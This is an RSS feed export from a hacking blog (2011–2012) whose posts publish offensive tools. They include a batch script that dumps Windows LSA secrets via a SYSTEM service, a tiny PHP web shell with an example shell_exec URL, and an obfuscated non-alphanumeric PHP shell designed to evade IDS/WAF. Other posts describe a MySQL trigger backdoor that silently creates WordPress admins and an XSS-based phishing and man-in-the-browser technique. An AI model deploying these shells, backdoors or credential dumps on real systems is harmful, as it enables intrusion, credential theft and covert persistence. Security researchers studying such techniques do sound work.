<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ack Ack</title>
	<atom:link href="http://h.ackack.net/feed" rel="self" type="application/rss+xml" />
	<link>http://h.ackack.net</link>
	<description>Go beyond the impossible!</description>
	<lastBuildDate>Sat, 12 May 2012 11:17:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>LSA.bat</title>
		<link>http://h.ackack.net/lsa-bat.html</link>
		<comments>http://h.ackack.net/lsa-bat.html#comments</comments>
		<pubDate>Wed, 07 Mar 2012 10:40:17 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[authority]]></category>
		<category><![CDATA[credential]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[lsa]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[regedit]]></category>
		<category><![CDATA[regedt32]]></category>
		<category><![CDATA[secret]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1748</guid>
		<description><![CDATA[The other day I found myself in the situation where I had to access my LSA (Local Security Authority) secrets on my Windows box. For those of you who doesn't know what it is; let me quote Microsoft: "The Local Security Authority (LSA) is a protected subsystem of Windows that maintains information about all aspects of local security on a system, collectively known as the local security policy of the system....]]></description>
			<content:encoded><![CDATA[<p>The other day I found myself in the situation where I had to access my <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms721831(v=vs.85).aspx" target="_blank">LSA</a> (<em>Local Security Authority</em>) secrets on my Windows box.</p>
<p>For those of you who doesn't know what it is; let me quote Microsoft:</p>
<p>"<em>The Local Security Authority (LSA) is a protected subsystem of Windows that maintains information about all aspects of local security on a system, collectively known as the local security policy of the system. In addition to housing policy information, the LSA provides services for translation between names and security identifiers (SIDs).</em>" - Microsoft.</p>
<p>Sadly, I'm also quite a tinfoil-hat when it comes to shady password recovery tools.</p>
<p>So I read up about it, and here you go!<br />
A small PoC which dumps your LSA secrets. Written in Batch!</p>
<hr class="thin"/>
<pre>@echo off
@break off

sc create theif binpath= "regedt32 /E C:\lsa.reg HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets" type= own type= interact

sc start theif
:wait
if exist "C:\lsa.reg" (
  goto done
) else (
  goto wait
)
:done
sc delete theif
more C:\lsa.reg</pre>
<hr class="thin"/>
<p>...For the few of those who find yourselves in the same situation.</p>
<p>This is what it does:</p>
<ul class="check">
<ul>
<li>Initializes a new Windows service (<em>in order to export the keys</em>).</li>
<li>Invokes the service (<em>it will run as SYSTEM. It's the only way I could figure out in order to obtain the registry hive</em>).</li>
<li>Waits until the dump file is generated...</li>
<li>Opens it up in our-all-favorite <strong>more</strong>.</li>
</ul>
</ul><br />
It do of course require administrative privileges.<br />
Simple and useful!</p>
<p>You may download it <a href="http://downloads.ackack.net/lsa.bat" target="_blank">here</a>.</p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/lsa-bat.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HashDoS PoC</title>
		<link>http://h.ackack.net/hashdos-poc.html</link>
		<comments>http://h.ackack.net/hashdos-poc.html#comments</comments>
		<pubDate>Sat, 31 Dec 2011 14:13:46 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Denial of Service]]></category>
		<category><![CDATA[Network Security]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[0-day]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[28c3]]></category>
		<category><![CDATA[ccc]]></category>
		<category><![CDATA[denial]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[hashdos]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[service]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1723</guid>
		<description><![CDATA[I was at the CCC (28C3) congress in Berlin recently. Where the two researchers Alexander 'alech' Klink and Julian 'zeri' Wälde disclosed a DoS vulnerability affecting about all programming languages in the way they utilize hashtables. Funny thing is, most server technologies, PHP, ASP (.NET), Java variants, Pyhon (django) etc, all appear to be vulnerable to different variants of the attack. It consists of abusing the hashtable datastructure(s) in a way...]]></description>
			<content:encoded><![CDATA[<p>I was at the CCC (28C3) congress in Berlin recently.<br />
Where the two researchers Alexander 'alech' Klink and Julian 'zeri' Wälde disclosed a DoS vulnerability affecting about all programming languages in the way they utilize hashtables.</p>
<p>Funny thing is, most server technologies, PHP, ASP (.NET), Java variants, Pyhon (django) etc, all appear to be vulnerable to different variants of the attack.</p>
<p>It consists of abusing the hashtable datastructure(s) in a way which all forces the keys to generate the same hash (checksum), and by doing so placing all data in the same bucket(s).</p>
<p>Basically, you trigger the hashtable(s) worst case scenario(s).<br />
...That takes CPU...</p>
<p><a href="http://downloads.ackack.net/hashtable_worstcase.png"><img class="alignnone" title="Hashtable" src="http://downloads.ackack.net/hashtable_worstcase.png" alt="" width="247" height="204" /></a></p>
<p>You may download their presentation <a href="http://ftp.halifax.rwth-aachen.de/ccc/28C3/mp4-h264-HQ/28c3-4680-en-effective_dos_attacks_against_web_application_platforms_h264.mp4.torrent" target="_blank">here</a>, in order to get a more in-depth explanation about their findings.</p>
<p><iframe title="28c3: Effective Denial of Service attacks against web application platforms" src="https://www.youtube.com/embed/R2Cq3CLI6H8?rel=0" frameborder="0" width="500" height="293"></iframe></p>
<p>My fellow mates 'sasha' and 'swestres' started generating collisions for various languages and I took part of their research and made <a href="http://downloads.ackack.net/hashdos.zip" target="_blank">this PoC</a> affecting the hashing algorithm DJBX33A used in PHP5.</p>
<p>So here you go folks, no license, play with the PoC as you wish!<br />
(It's supposed to work with SSL and over Mono!)</p>
<p><a href="http://downloads.ackack.net/hashdos.zip"><img class="alignnone" title="PoC" src="http://downloads.ackack.net/hashdos.png" alt="" width="433" height="451" /></a></p>
<p>Thats it!</p>
<p>Take care &amp; happy new years!</p>
<p>Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/hashdos-poc.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hidden ASCII (Art)</title>
		<link>http://h.ackack.net/hidden-ascii.html</link>
		<comments>http://h.ackack.net/hidden-ascii.html#comments</comments>
		<pubDate>Mon, 19 Dec 2011 10:14:33 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[hidden]]></category>
		<category><![CDATA[smiley]]></category>
		<category><![CDATA[sneaky]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1716</guid>
		<description><![CDATA[What have been seen, cannot be unseen.

<img src="http://downloads.ackack.net/whathavebeenseen.png" alt="" width="443" height="177" />]]></description>
			<content:encoded><![CDATA[<p>What have been seen, cannot be unseen.</p>
<p><a href="http://downloads.ackack.net/whathavebeenseen.png"><img class="alignnone" title="What have been seen..." src="http://downloads.ackack.net/whathavebeenseen.png" alt="" width="443" height="177" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/hidden-ascii.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti Alphanum PHP Shell</title>
		<link>http://h.ackack.net/anti-alphanum-php-shell.html</link>
		<comments>http://h.ackack.net/anti-alphanum-php-shell.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 20:26:11 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[alpha]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[numeric]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1695</guid>
		<description><![CDATA[After my release about the Tiny PHP Shell, Mr. Gareth Hayes @ The Spanner made a non-alphanumeric variant. I got inspired by his nifty script and started researching further. My main plan was to create an array of data with different values in order to have something to work with. So my first shot was this: @$_[]=@!+_; PHP will try to parse the green underscore as a constant, when the interpreter...]]></description>
			<content:encoded><![CDATA[<p>After my release about the <a href="http://h.ackack.net/tiny-php-shell.html" target="_blank">Tiny PHP Shell</a>, Mr. Gareth Hayes @ <a href="http://www.thespanner.co.uk/" target="_blank">The Spanner</a> made a <a href="http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/" target="_blank">non-alphanumeric variant</a>.<br />
I got inspired by his nifty script and started researching further.</p>
<p>My main plan was to create an array of data with different values in order to have something to work with. So my first shot was this:</p>
<p><strong>@<span style="color: #ffcc00;">$_[]</span>=@<span style="color: #0000ff;">!</span><span style="color: #ff0000;">+</span><span style="color: #00ff00;">_</span>;</strong></p>
<p>PHP will try to parse the green underscore as a constant, when the interpreter is unable to find the constant it will prompt you with a notice. I surpress the notice warning using the '<strong>@</strong>'.</p>
<p>The "<em>lost-constant</em>" in turn will be converted to a string (<em>string(1) "_"</em>).</p>
<p>Just like Gareth Hayes, I used the plus-operator (red) to cast the string to an integer (<em>int(0)</em>).</p>
<p>By appending the exclamation-mark (blue), the value <strong>0</strong> will be casted to a boolean (<em>bool(true)</em>).</p>
<p>So far so good! We have a boolean saying <strong>true</strong>!</p>
<p>I try to store it by pushing the value into the array <strong>$_</strong> (yellow). However it doesn't exist.<br />
By suppressing that too, PHP will automagically create it for you, and your value will get stored.</p>
<p>That's how I initialize my array. So, what do we do know?<br />
Well, just like Mr. Gareth stated, if you try to access an array as a string in PHP.<br />
It will generate the string "Array".</p>
<p>If we have a string, we can generate other strings out of it by (ab)using AND, OR and XOR.</p>
<p>I figured, I had quite a few characters I easily could generate in PHP.<br />
So I coded this fuzzer in VB.NET which permutated through AND, OR and XOR and gave me all the combinations that matched any letter in the words GET, POST and REQUEST. (<em>Now when I'm thinking about it later on, I could have added COOKIE too...</em>)</p>
<p>Never the less, my fuzzer (<a href="http://downloads.ackack.net/phpfuzz.vb" target="_blank">phpfuzz.vb</a>) gave me the following results: <a href="http://downloads.ackack.net/fuzz_result.txt" target="_blank">fuzz_result.txt</a>.</p>
<p>By analyzing the results, you'll notice we're able to generate all of those three methods by using only a 15 character list.<br />
But for the sake of clarity, I choosed to go with GET.</p>
<p>By utilizing some boolean magic and variable dereferencing I ended up with this:</p>
<p>&lt;?<br />
@$_[]=@!+_;$__=@${_}&gt;&gt;$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++))].=$_;<br />
$_[]=++$__;$_[]=$_[--$__][$__&gt;&gt;$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];<br />
$_[$__+$__]=($_[$__][$__&gt;&gt;$__]).($_[$__][$__]^$_[$__][($__&lt;&lt;$__)-$__]);<br />
$_[$__+$__].=($_[$__][($__&lt;&lt;$__)-($__/$__)])^($_[$__][$__]);<br />
$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__&lt;&lt;$__)-$__];<br />
$_=$ //Fredrik N. Almroth - h.ackack.net<br />
$_[$__+$__];$_[@-_]($_[@!+_]);<br />
?&gt;</p>
<p>...if WordPress tampered with the bytes, you may download it <a href="http://downloads.ackack.net/sneaky_php.txt" target="_blank">here</a>.</p>
<p>The method for execution used in the <a href="http://h.ackack.net/tiny-php-shell.html" target="_blank">Tiny PHP Shell</a> and Gareth's <a href="http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/" target="_blank">shell</a> remains the same.<br />
But if you look at it, I added a few sneak factors.</p>
<ol>
<li>No quotes! Quotes tend to trigger IDS'es and WAF's.</li>
<li>No use of functions.</li>
<li>No strings.</li>
<li>No numbers.</li>
<li>No constants.</li>
</ol>
<p><a href="http://downloads.ackack.net/sneaky_php.png"><img class="alignnone" title="Sneaky PHP" src="http://downloads.ackack.net/sneaky_php.png" alt="" width="630" height="177" /></a></p>
<p>If you're going to the Chaos Communication Congress - 28C3 (2011), then see you there!</p>
<p>Ciao.</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/anti-alphanum-php-shell.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Send POST data to an embedded iframe (jQuery/javascript)</title>
		<link>http://h.ackack.net/send-post-data-to-an-embedded-iframe-jqueryjavascript.html</link>
		<comments>http://h.ackack.net/send-post-data-to-an-embedded-iframe-jqueryjavascript.html#comments</comments>
		<pubDate>Sat, 08 Oct 2011 14:44:59 +0000</pubDate>
		<dc:creator>Jelmer de Hen</dc:creator>
				<category><![CDATA[Documentation]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1678</guid>
		<description><![CDATA[Some time ago I was in the need for a way in javascript to send a POST data to a file and load it's contents in iframe format, the contents were in the form of application/PDF and the PDF would vary from what I would send in my POST values. Non-challenging as it sounds it still took me some time to figure out - not a problem should be solved...]]></description>
			<content:encoded><![CDATA[<p>Some time ago I was in the need for a way in javascript to send a POST data to a file and load it's contents in iframe format, the contents were in the form of application/PDF and the PDF would vary from what I would send in my POST values.<br />
Non-challenging as it sounds it still took me some time to figure out - not a problem should be solved twice so here is a little function which does this:</p>
<pre style="brush: javascript;">function loadFile(url){
	if(typeof(url)=='string'){
		file = document.createElement("iframe");
		$('body').append(file);
		form = document.createElement("form");
		$(form).attr({"action":url,"method":"POST"});
		$(form).append($(document.createElement('input')).attr({"name":"postKey","value":"postVal"}));
		$(file).contents().find('body').append(form);
		$(form).submit();
		return file;
	}else{
		return 1;
	}
}</pre>
<p>This function can be useful in the act of exploitation cross site scripting vulnerabilities or just for productional use.</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/send-post-data-to-an-embedded-iframe-jqueryjavascript.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Blipp Blopp</title>
		<link>http://h.ackack.net/blipp-blopp.html</link>
		<comments>http://h.ackack.net/blipp-blopp.html#comments</comments>
		<pubDate>Fri, 07 Oct 2011 09:00:38 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[blipp]]></category>
		<category><![CDATA[blopp]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1672</guid>
		<description><![CDATA[This is how you feel when you discover obvious vulnerabilities.

<iframe title="Everybody Chromerice" src="https://www.youtube.com/embed/gTgT02Dvx3I?rel=0" frameborder="0" width="500" height="293"></iframe>

'Nuff said.
Cya soon.]]></description>
			<content:encoded><![CDATA[<p>This is how you feel when you discover obvious vulnerabilities.</p>
<p><iframe title="Blipp Blopp" src="https://www.youtube.com/embed/gTgT02Dvx3I?rel=0" frameborder="0" width="500" height="293"></iframe></p>
<p>'Nuff said.<br />
Cya soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/blipp-blopp.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL Backdoor</title>
		<link>http://h.ackack.net/mysql-backdoor.html</link>
		<comments>http://h.ackack.net/mysql-backdoor.html#comments</comments>
		<pubDate>Sun, 02 Oct 2011 18:27:47 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[förbannade]]></category>
		<category><![CDATA[hackare]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[information_schema]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[super_priv]]></category>
		<category><![CDATA[trigger_priv]]></category>
		<category><![CDATA[unicorns]]></category>
		<category><![CDATA[vfh]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[vuxna]]></category>
		<category><![CDATA[vuxna förbannade hackare]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1630</guid>
		<description><![CDATA[I shall now present a method which appear to be long forgotten.
I first stumbled upon it back in 2008 when the group VFH (Vuxna Förbannade Hackare) spread havoc upon Swedish agencies and organizations.

 <i>Trigger based backdoors in MySQL.</i>]]></description>
			<content:encoded><![CDATA[<p>I shall now present a method which appear to be long forgotten.<br />
I first stumbled upon it back in 2008 when the group <a title="VFH" href="http://downloads.ackack.net/vfh-03.txt">VFH (Vuxna Förbannade Hackare)</a> spread havoc upon Swedish agencies and organizations.</p>
<p><em> Trigger based backdoors in MySQL.</em></p>
<ul>
<li><strong>So what are they? </strong><br />
A trigger in MySQL acts as a callback on which is executed before and/or after an UPDATE/INSERT is finished.<br />
Take this for example: A unicorn have played with a WordPress database.<br />
He inserted a trigger which would interact with a specific table, say <em>wp_comments</em>.<br />
When someone would post a comment, it would get inserted into <em>wp_comments</em> and the trigger would be called.</li>
<li><strong>What can you do with MySQL?<br />
</strong>Well. That depends on your permissions (<em>obviously</em>).<br />
But basically tamper with tables.</li>
<li><strong>So what can be done with WordPress?<br />
</strong>Say the unicorn made an evil trigger which allowed modification of WordPress administrators whenever a specific comment got posted. Say the unicorn could add new admins (<em>e.g; himself</em>).<br />
<em>If </em>he now happened to add himself. He would get access to WordPress plugin feature, which in turn, would allow him to upload an even more evil plugin. (<em>PHP Shell).</em></li>
</ul>
<div>...and <a title="WordPress Backdoor" href="http://downloads.ackack.net/wordpress.sql" target="_blank">here</a> I present a Proof-of-Concept...</div>
<div>My PoC basically consists of a single trigger, with one big IF-statement.</p>
<p>The main logic is triggered whenever a WordPress comment with the name set to <strong>Almroot</strong> is posted.</div>
<div>The trigger will look through all administrators in <em>wp_users </em>for the any user with the name of <strong>Almroot</strong>.</div>
<div>If no such user exists, it will be added with full admin privileges - otherwise, it will escalate the privileges to administrative and restore the password.</div>
<div>The IP, UserAgent and other vital elements of the comment will be nullified (<em>The IP will point towards localhost</em>) - and the post will be put in spam.</div>
<div>Once logged on to WordPress, you can simply upload whatever you want.<br />
Just ZIP the files, and upload as a plugin.<br />
You'll find the files in: /wp-content/plugins/<em>name-of-zip</em>/<em>your_file.whatever</em></div>
<div><em>Sounds bad doesn't it?</em></div>
<div>There is a few drawbacks though.</div>
<div>
<ol>
<li>The DBMS have to by MySQL.</li>
<li>The MySQL user on which you're allowed to tamper with - need to have the Super_priv set to True. (<em>As of MySQL 5.1.6 - the Trigger_priv set to True).</em></li>
<li>This trigger cannot be applied through a regular SQL Injection - so don't try anything fishy!</li>
</ol>
<div>A more extensive trigger can of course be crafted.</div>
<div>VFH's PoC was able to read and write files for example.<br />
In combination with <a href="http://h.ackack.net/download/miscellaneous-mirrors/scripts-source-code/raptor_udf-c">raptor_udf.c</a>; commands can be executed as well.</div>
<p></p>
<div>In order to determine if you're infected or not, just take a look in the <em>information_schema.triggers</em> table.<br />
Normally web-based CMS'es wont utilize triggers, so if you find something in there - analyze it.</div>
<div>Be creative!<br />
Don't be cheap!</div>
<p></p>
<div>Reference: <a href="http://downloads.ackack.net/vfh-03.txt">vfh-03.txt</a></div>
<div>Ciao!</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/mysql-backdoor.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>The man in the browser and Phishing with legit URL&#8217;s</title>
		<link>http://h.ackack.net/the-man-in-the-browser-and-phishing-with-legit-urls.html</link>
		<comments>http://h.ackack.net/the-man-in-the-browser-and-phishing-with-legit-urls.html#comments</comments>
		<pubDate>Fri, 30 Sep 2011 21:24:28 +0000</pubDate>
		<dc:creator>Mathias Karlsson</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Man-In-The-Browser]]></category>
		<category><![CDATA[Man-In-The-Middle]]></category>
		<category><![CDATA[MITB]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[URL Spoofing]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1620</guid>
		<description><![CDATA[Hi there!

I have always been fascinated by the concept of a victim browsing around on a website not knowing that I can see everything he does, and all this from a simple XSS! After I stumbled upon a relatively new HTML5 function in the window.history object called "pushState", I just had to make a proof of concept.]]></description>
			<content:encoded><![CDATA[<p>Hi there!</p>
<p>I have always been fascinated by the concept of a victim browsing around on a website not knowing that I can see everything he does, and all this from a simple XSS! After I stumbled upon a relatively new HTML5 function in the window.history object called "pushState", I just had to make a proof of concept.</p>
<p>What does this function do?</p>
<p>Well, it's made for manipulating the browser history and it will also let you tamper the URL bar, if you for example load "myajaxsite/asd.php" with AJAX you could show "myajaxsite/#asd" in the URL. This means we can manipulate the URL to whatever we want, since the function doesn't even force us to make a request to the new URL, it just pushes an item into the history and changes the URL.</p>
<p>How can we exploit this?</p>
<p>There's two scenarios I have come up with, let's start with the simple one. How to use this in a Phishing attack.</p>
<ol>
<li>An attacker has an XSS on facebook.com/somepath/someotherpath/blabla/uglylongpath?xss=hello</li>
<li>The attacker injects a script in the victims browser that uses the history.pushState function to spoof the URL to facebook.com/login.php. This will cause the URL bar to display http://facebook.com/login.php, but won't cause the browser to load login.php or even check that it exists.</li>
<li>The victim enters the link, it looks like he has to login to see this content. He is a bit suspicious, so he checks the source code for malicious stuff but finds nothing since he is looking at the sourcecode of facebook.com/login.php instead of the attackers URL.</li>
<li>The victim logs in, and the attacker steals the form data.</li>
</ol>
<p>Pretty straight-forward scenario, don't you think?</p>
<p>But that's boring. Let's take it to the not-so-straight-forward scenario, the man-in-the-browser.</p>
<p>So, what exactly IS a man-in-the-browser attack? Here's a short description from OWASP:</p>
<blockquote><p>The Man-in-the-Browser attack is the same approach as <a title="Man-in-the-middle attack" href="https://www.owasp.org/index.php/Man-in-the-middle_attack">Man-in-the-middle attack</a>, but in this case a <a title="Trojan Horse" href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a> is used to intercept and manipulate calls between the main application’s executable (ex: the browser) and its security mechanisms or libraries on-the-fly.</p></blockquote>
<p>Basicly, I wrote a PoC on this concept... <img src='http://h.ackack.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The PoC is pretty straight-forward, it hooks all links and forms and prevents them to link away and instead we load the page with AJAX and spoof the URL with the history.pushState method.</p>
<p>If we "misuse" <a href="http://www.w3.org/TR/cors/">CORS</a> (Cross-Origin Resource Sharing), we can have the control center and log at some other domain.</p>
<p>Of course, we cannot load resources cross-domain by default, so if we fail to load a resource we will just use the window.open() method instead. <img src='http://h.ackack.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So. What if the victim uses the back button in his browser? For this I found another nifty method, when you go back in your browser history, a window.onpopstate() event is called, so we can load the previous resource instead to show the user.</p>
<p>To sum up, the only way to really "get away" from this evil hook is to enter another URL in the URL bar and navigate away. Of course noscript will prevent these kind of attacks but that is not relevant. Is there any fast way to know you are infected by an attack like this? No, at least not that I know of. Normally you could identify it by malicious looking links, the URL bar not changing or viewing the source but all these things are void with if the attacker uses these methods.</p>
<p>...And for you who wish to test this out, here is the PoC: <a title="MITB" href="http://downloads.ackack.net/MITB.zip" target="_blank">MITB.zip</a></p>
<p>In fact, I encourage you to try it out, it's pretty creepy!</p>
<p>Cheers!</p>
<p>Update: This is now part of the <a href="http://beefproject.com">BeEF</a> framework!</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/the-man-in-the-browser-and-phishing-with-legit-urls.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Tiny PHP Shell</title>
		<link>http://h.ackack.net/tiny-php-shell.html</link>
		<comments>http://h.ackack.net/tiny-php-shell.html#comments</comments>
		<pubDate>Wed, 21 Sep 2011 18:51:53 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Documentation]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[execution]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[small]]></category>
		<category><![CDATA[tiny]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1601</guid>
		<description><![CDATA[Have you ever needed a small shell written in PHP?
Of course you have. But I bet it haven't been all too stealth!

This is really pointless, but someone might be interested in it.
So here you go folks!

&#60;?=($_=@$_GET[2]).@$_($_GET[1])?&#62;]]></description>
			<content:encoded><![CDATA[<p>Have you ever needed a small shell written in PHP?<br />
Of course you have. But I bet it haven't been all <em>too</em> stealth!</p>
<p>This is really pointless, but someone might be interested in it.<br />
So here you go folks!</p>
<blockquote><p>&lt;?=($_=@$_GET[2]).@$_($_GET[1])?&gt;</p></blockquote>
<p>It doesn't look like much so let me explain.</p>
<p>PHP allows strings to be interpreted as function calls.<br />
That's a major part on how callbacks in PHP work.</p>
<p>Example:</p>
<blockquote><p>&lt;?</p>
<p>$array = array(1,2,3);</p>
<p>array_walk($array, 'f');</p>
<p>function f($x){echo $x * 2;}</p>
<p>?&gt;</p></blockquote>
<p>What the following example does, is that <em>array_walk()</em> iterates through the array <em>$array </em>and applies the function <em>f() </em>on each and every element in the list.<br />
The function <em>f() </em>prints out the value from the array and multiplies it by two.<br />
The output results in: <em>246</em>.</p>
<p>The fun thing is, if you look on how the callback <em>f() </em>is applied - it's by a simple string. (Look at argument #2 in the first function; <em>array_walk()</em>).</p>
<p>What does that mean?<br />
Well, to put it short, you're able to take a string - and execute it as a function name.<br />
Now, let's try something... <em>fuzzier</em>...</p>
<blockquote><p>&lt;?</p>
<p>$fuzz = 'phpinfo';</p>
<p>$fuzz();</p>
<p>?&gt;</p></blockquote>
<p>What might this do?<br />
Will it execute?<br />
Damn right.</p>
<p><a href="http://se.php.net/phpinfo"><img class="alignnone" title="Broken PHP" src="http://downloads.ackack.net/phpinfo.png" alt="" width="621" height="395" /></a></p>
<p>Now let's tear my tiny code apart.<br />
It's made out of two parts.</p>
<ol>
<li>$_=@$_GET[2]</li>
<li>@$_($_GET[1])</li>
</ol>
<p>The first part takes the value from the GET-variable <strong>2</strong> and stores it in the temporary variable <strong>$_</strong>.<br />
The second part takes our temporary variable <strong>$_</strong>, and executes it with the GET-variable <strong>1</strong> as it's one-and-only argument.</p>
<p>The <strong>@</strong>'s are only there for suppressing notices, warnings and/or fatals from showing up in logs, to the user or whatever else that might catch them.</p>
<p>Conclusion: Copy and paste the snippet, and store it in a PHP-file.<br />
Execute a shell by going to: <a href="http://h.ackack.net/copypaste.php?1=shell_exec&amp;2=whoami" target="_blank">copypaste.php?1=shell_exec&amp;2=whoami</a></p>
<p>The response should be something like:<br />
<em><strong>apache</strong><br />
</em>...or as on Windows if you're running your server as a service:<br />
<strong><em>nt authority/system</em>.</strong></p>
<p>Conclusion; PHP is fun!</p>
<p>Ciao!</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/tiny-php-shell.html/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Privilege Escalation &#8211; Windows 7 &#8211; XP Style</title>
		<link>http://h.ackack.net/privilege-escalation-windows-7-xp-style.html</link>
		<comments>http://h.ackack.net/privilege-escalation-windows-7-xp-style.html#comments</comments>
		<pubDate>Mon, 22 Aug 2011 08:25:34 +0000</pubDate>
		<dc:creator>Fredrik Nordberg Almroth</dc:creator>
				<category><![CDATA[Classics]]></category>
		<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Documentation]]></category>
		<category><![CDATA[escalation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[priv escalation]]></category>
		<category><![CDATA[privilege]]></category>
		<category><![CDATA[privilege escalation]]></category>
		<category><![CDATA[runas]]></category>
		<category><![CDATA[scheduler]]></category>
		<category><![CDATA[system]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>

		<guid isPermaLink="false">http://h.ackack.net/?p=1393</guid>
		<description><![CDATA[Just to clear things out, the title appears more frightening than it actually is. As we all know, Microsoft Windows have this passion for running background services. Most of those services are running under a greatly privileged account called SYSTEM.]]></description>
			<content:encoded><![CDATA[<blockquote><p>Just to clear things out, the title appears more frightening than it actually is.</p></blockquote>
<p>As we all know, Microsoft Windows have this passion for running background services.<br />
Most of those services are running under a greatly privileged account called <strong>SYSTEM</strong>.</p>
<p>If you have administrative permission on a Windows 7 (as well as Windows XP, Windows Vista...) - you are allowed to change the behavior of those services.</p>
<p>If you put together A and B, you'll see where this is working out.</p>
